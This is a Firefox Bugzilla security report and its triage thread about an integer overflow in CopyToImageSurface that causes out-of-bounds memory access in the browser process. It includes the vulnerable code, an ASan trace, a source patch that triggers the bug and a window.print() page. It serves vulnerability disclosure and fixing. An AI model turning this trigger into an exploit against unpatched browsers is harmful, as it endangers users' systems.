OOBW/R due to integer overflow in CopyToImageSurface (sandbox escape)
Categories
(Core :: Graphics, defect)
Tracking
()
People
(Reporter: oskarlindberg348, Assigned: lsalzman)
References
Details
(4 keywords, Whiteboard: [client-bounty-form] [adv-main147+] [adv-esr140.7+] [adv-esr115.32+])
Attachments
(1 file, 1 external file)
|
84.71 KB,
image/png
|
Details |
Writeup follows
Background
Same as for bug 2004602
Vulnerability
In the same flow for 2004602,
The issue resides in CopyToImageSurface:
tatic cairo_surface_t* CopyToImageSurface(unsigned char* aData,
const IntRect& aRect,
int32_t aStride,
SurfaceFormat aFormat) {
MOZ_ASSERT(aData);
auto aRectWidth = aRect.Width();
auto aRectHeight = aRect.Height();
cairo_surface_t* surf = cairo_image_surface_create(
GfxFormatToCairoFormat(aFormat), aRectWidth, aRectHeight);
// In certain scenarios, requesting larger than 8k image fails. Bug 803568
// covers the details of how to run into it, but the full detailed
// investigation hasn't been done to determine the underlying cause. We
// will just handle the failure to allocate the surface to avoid a crash.
if (cairo_surface_status(surf)) {
gfxWarning() << "Invalid surface DTC " << cairo_surface_status(surf);
return nullptr;
}
unsigned char* surfData = cairo_image_surface_get_data(surf);
int surfStride = cairo_image_surface_get_stride(surf);
int32_t pixelWidth = BytesPerPixel(aFormat);
unsigned char* source = aData + aRect.Y() * aStride + aRect.X() * pixelWidth;
MOZ_ASSERT(aStride >= aRectWidth * pixelWidth);
for (int32_t y = 0; y < aRectHeight; ++y) {
memcpy(surfData + y * surfStride, source + y * aStride,
aRectWidth * pixelWidth); // [1]
}
cairo_surface_mark_dirty(surf);
return surf;
}
- Since both y and surfStride are int32, their multiplication is an int32, which is sign extended before being added to surfData, making the __dst of memcpy, point backwards.
Looking at cairo internal limits for cairo_image_surface_create:
#define MAX_IMAGE_SIZE 32767
static cairo_bool_t
_cairo_image_surface_is_size_valid (int width, int height)
{
return 0 <= width && width <= MAX_IMAGE_SIZE &&
0 <= height && height <= MAX_IMAGE_SIZE;
}
32767*4 * 32767 = 0xFFFC0004 = -262140 (dword)
Can also be seen in IDA:
![[Pasted image 20251209200126.png]]
We can see that a to the second memcpy, we get r13 + rdi, r13 is the surface data.
rdi being the multiplciaiton result from the second block, sign extended (ebp being the width given as argument, and ecx the stride=4).
Asan report
==107697==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x76cfa2a9980f at pc 0x5dd4231ea70b bp 0x7ffd2abbf510 sp 0x7ffd2abbecd0
READ of size 131068 at 0x76cfa2a9980f thread T0
#0 0x5dd4231ea70a in __asan_memcpy /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:63:3
#1 0x76d02713be25 in mozilla::gfx::CopyToImageSurface(unsigned char*, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, int, mozilla::gfx::SurfaceFormat) /home/user/Downloads/firefox/gfx/2d/DrawTargetCairo.cpp:226:5
#2 0x76d02712c97e in mozilla::gfx::GetCairoSurfaceForSourceSurface(mozilla::gfx::SourceSurface*, bool, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/user/Downloads/firefox/gfx/2d/DrawTargetCairo.cpp:372:33
#3 0x76d02712fd4c in mozilla::gfx::GfxPatternToCairoPattern(mozilla::gfx::Pattern const&, float, mozilla::gfx::BaseMatrix<float> const&) /home/user/Downloads/firefox/gfx/2d/DrawTargetCairo.cpp:463:31
#4 0x76d02712f125 in mozilla::gfx::DrawTargetCairo::DrawPattern(mozilla::gfx::Pattern const&, mozilla::gfx::StrokeOptions const&, mozilla::gfx::DrawOptions const&, mozilla::gfx::DrawTargetCairo::DrawPatternType, bool) /home/user/Downloads/firefox/gfx/2d/DrawTargetCairo.cpp:1046:7
#5 0x76d027134488 in mozilla::gfx::DrawTargetCairo::StrokeRect(mozilla::gfx::RectTyped<mozilla::gfx::UnknownUnits, float> const&, mozilla::gfx::Pattern const&, mozilla::gfx::StrokeOptions const&, mozilla::gfx::DrawOptions const&) /home/user/Downloads/firefox/gfx/2d/DrawTargetCairo.cpp:1294:3
#6 0x76d02724b074 in nsDeviceContext::CreateRenderingContextCommon(bool) /home/user/Downloads/firefox/gfx/src/nsDeviceContext.cpp:146:9
#7 0x76d02724abff in nsDeviceContext::CreateRenderingContext() /home/user/Downloads/firefox/gfx/src/nsDeviceContext.cpp:110:10
#8 0x76d031a09e5f in mozilla::layout::PrintTranslator::CreateDrawTarget(mozilla::gfx::ReferencePtr, mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::SurfaceFormat) /home/user/Downloads/firefox/layout/printing/PrintTranslator.cpp:78:51
A read violation happens, a write will follow.
Implicaitons
Out of bounds read and write in the browser process on firefox latest
Reproduction
- Apply the following patch:
diff --git a/gfx/src/nsDeviceContext.cpp b/gfx/src/nsDeviceContext.cpp
index 055ebbabac41..43fdddb80921 100644
--- a/gfx/src/nsDeviceContext.cpp
+++ b/gfx/src/nsDeviceContext.cpp
@@ -10,11 +10,16 @@
#include "gfxPoint.h" // for gfxSize
#include "gfxTextRun.h" // for gfxFontGroup
#include "mozilla/LookAndFeel.h"
+#include "mozilla/gfx/2D.h"
+#include "mozilla/gfx/DrawEventRecorder.h"
#include "mozilla/gfx/PathHelpers.h"
+#include "mozilla/gfx/Point.h"
#include "mozilla/gfx/PrintTarget.h"
#include "mozilla/ProfilerMarkers.h"
#include "mozilla/StaticPrefs_layout.h"
-#include "mozilla/Try.h" // for MOZ_TRY
+#include "mozilla/Try.h" // for MOZ_TRY
+#include "mozilla/gfx/Rect.h"
+#include "mozilla/layout/printing/DrawEventRecorder.h"
#include "mozilla/widget/Screen.h" // for Screen
#include "nsDebug.h" // for NS_ASSERTION, etc
#include "nsFontMetrics.h" // for nsFontMetrics
@@ -127,6 +132,18 @@ UniquePtr<gfxContext> nsDeviceContext::CreateRenderingContextCommon(
RefPtr<DrawEventRecorder> recorder;
mDeviceContextSpec->GetDrawEventRecorder(getter_AddRefs(recorder));
dt = mPrintTarget->MakeDrawTarget(gfx::IntSize(mWidth, mHeight), recorder);
+
+ auto data_surf_size = mozilla::gfx::IntSize(0x100, 0x100);
+ auto data_surf_format = SurfaceFormat::R8G8B8A8;
+ auto data_surf =
+ Factory::CreateDataSourceSurface(data_surf_size, data_surf_format, true)
+ .take();
+
+ auto pattern =
+ SurfacePattern(data_surf, ExtendMode::REPEAT, Matrix(),
+ SamplingFilter::GOOD, IntRect(0, 0, 0x7fff, 0x7fff));
+ const auto rect = Rect(0, 0, 0x100, 0x100);
+ dt->StrokeRect(rect, pattern);
}
if (!dt || !dt->IsValid()) {
- Host the triggering index.html (this just prints the page, save the result as pdf to trigger rendering, this is not a necessity for the bug. its for debugging reasons only)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Print Example</title>
<style>
/* This CSS rule hides the print button when the user is printing the page. */
@media print {
.print-button {
display: none;
}
}
</style>
<script>
window.print();
</script>
</head>
<body>
<header>
<h1>This is the content you can print</h1>
<p>This is a paragraph that will be included in the printout.</p>
</header>
<main>
<p>You can also control what gets printed using CSS.</p>
<p>
For example, elements with the class `print-button` will be hidden in
the print preview.
</p>
</main>
<footer>
<p>© 2025 Print Example</p>
</footer>
<button class="print-button" onclick="window.print()">
Print this Page
</button>
</body>
</html>
The vulnerability was found by manual auditing.
Updated•11 months ago
|
Updated•11 months ago
|
Comment 2•11 months ago
|
||
Thanks for the report. I noticed there's a mention of an IDA image in the text, but you'll have to attach that to the bug.
Updated•11 months ago
|
Comment 4•11 months ago
|
||
Lee, would you be able to take a look at this one too?
| Assignee | ||
Comment 5•11 months ago
|
||
Updated•11 months ago
|
| Assignee | ||
Comment 6•11 months ago
|
||
Pixman allows sizes that will fit in a size_t. But the stride math was using ints. Easy enough fix.
| Assignee | ||
Comment 7•11 months ago
|
||
Comment on attachment 9532140 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: This requires compromising printing, so isn't entirely simple to achieve.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: Yes
- If not, how different, hard to create, and risky will they be?:
- How likely is this patch to cause regressions; how much testing does it need?: Unlikely
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
| Assignee | ||
Updated•11 months ago
|
Updated•11 months ago
|
Comment 8•11 months ago
|
||
Comment on attachment 9532140 [details]
(secure)
Approved to land and request uplift
| Assignee | ||
Comment 9•10 months ago
|
||
Comment on attachment 9532140 [details]
(secure)
Beta/Release Uplift Approval Request
- User impact if declined/Reason for urgency: Sec-high exploit in printing.
- Is this code covered by automated tests?: Unknown
- Has the fix been verified in Nightly?: Yes
- Needs manual test from QE?: No
- If yes, steps to reproduce:
- List of other uplifts needed: None
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky):
- String changes made/needed:
- Is Android affected?: Yes
ESR Uplift Approval Request
- If this is not a sec:{high,crit} bug, please state case for ESR consideration:
- User impact if declined:
- Fix Landed on Version:
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky):
| Assignee | ||
Updated•10 months ago
|
Comment 10•10 months ago
|
||
Comment 11•10 months ago
|
||
Comment 12•10 months ago
|
||
Comment on attachment 9532140 [details]
(secure)
Approved for 147.0b4.
Updated•10 months ago
|
Comment 13•10 months ago
|
||
| uplift | ||
Updated•10 months ago
|
Comment 14•10 months ago
|
||
Comment on attachment 9532140 [details]
(secure)
Approved for 140.7esr and 115.32esr.
Updated•10 months ago
|
Comment 15•10 months ago
|
||
| uplift | ||
Comment 16•10 months ago
|
||
| uplift | ||
Comment 17•10 months ago
|
||
This requires compromising printing,
What do you mean by that? That the user has to explicitly hit the print button on the preview dialog and that window.print() alone can't trigger the bug? If the bug is triggered in print preview then a web page can exploit that through window.print(), but if it requires actual user interaction with printing then this is more of a high-end sec-moderate than a true sec-high.
The size_t casting in this patch worries me -- how many other places in cairo-involved code need the same fix?
| Assignee | ||
Comment 18•10 months ago
|
||
(In reply to Daniel Veditz [:dveditz] from comment #17)
This requires compromising printing,
What do you mean by that? That the user has to explicitly hit the print button on the preview dialog and that window.print() alone can't trigger the bug? If the bug is triggered in print preview then a web page can exploit that through window.print(), but if it requires actual user interaction with printing then this is more of a high-end sec-moderate than a true sec-high.
The size_t casting in this patch worries me -- how many other places in cairo-involved code need the same fix?
I only saw two locations which I believe I addressed.
Updated•10 months ago
|
Updated•10 months ago
|
Updated•9 months ago
|
Updated•5 months ago
|
Description
•